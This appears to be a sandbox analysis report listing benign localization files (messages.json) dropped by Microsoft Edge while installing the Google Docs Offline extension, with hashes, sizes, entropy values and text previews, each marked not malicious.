SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
